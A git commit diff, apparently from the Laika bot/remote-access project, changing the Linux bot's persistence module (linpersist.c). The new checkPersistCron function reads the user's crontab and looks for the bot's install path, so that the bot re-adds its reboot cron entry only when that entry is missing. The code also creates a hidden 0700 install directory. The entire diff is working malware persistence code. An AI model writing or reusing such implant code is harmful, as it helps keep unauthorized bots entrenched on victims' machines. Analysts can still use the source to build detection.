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check if installed in crontab before installing

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CPunch 2022-04-08 12:51:03 -05:00
parent d34a824133
commit bb6e489945
1 changed files with 25 additions and 3 deletions
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28
bot/lin/linpersist.c
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@ -76,13 +76,34 @@ void getInstallPath(char *outPath, int pathSz) {
/* create install directory if it doesn't exist */
snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER);
LAIKA_DEBUG("creating '%s'...\n", outPath);
if (stat(outPath, &st) == -1)
if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath);
mkdir(outPath, 0700);
}
snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER);
}
bool checkPersistCron(char *path) {
char buf[PATH_MAX + 128];
FILE *fp;
bool res = false;
if ((fp = popen("crontab -l", "r")) == NULL)
LAIKA_ERROR("popen('crontab') failed!");
while (fgets(buf, sizeof(buf), fp)) {
if (strstr(buf, path)) {
/* laika is installed in the crontab! */
res = true;
break;
}
}
pclose(fp);
return res;
}
void tryPersistCron(char *path) {
char cmd[PATH_MAX + 128];
@ -113,7 +134,8 @@ void laikaB_tryPersist() {
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
/* enable persistence on reboot via cron */
tryPersistCron(installPath);
if (!checkPersistCron(installPath))
tryPersistCron(installPath);
#endif
}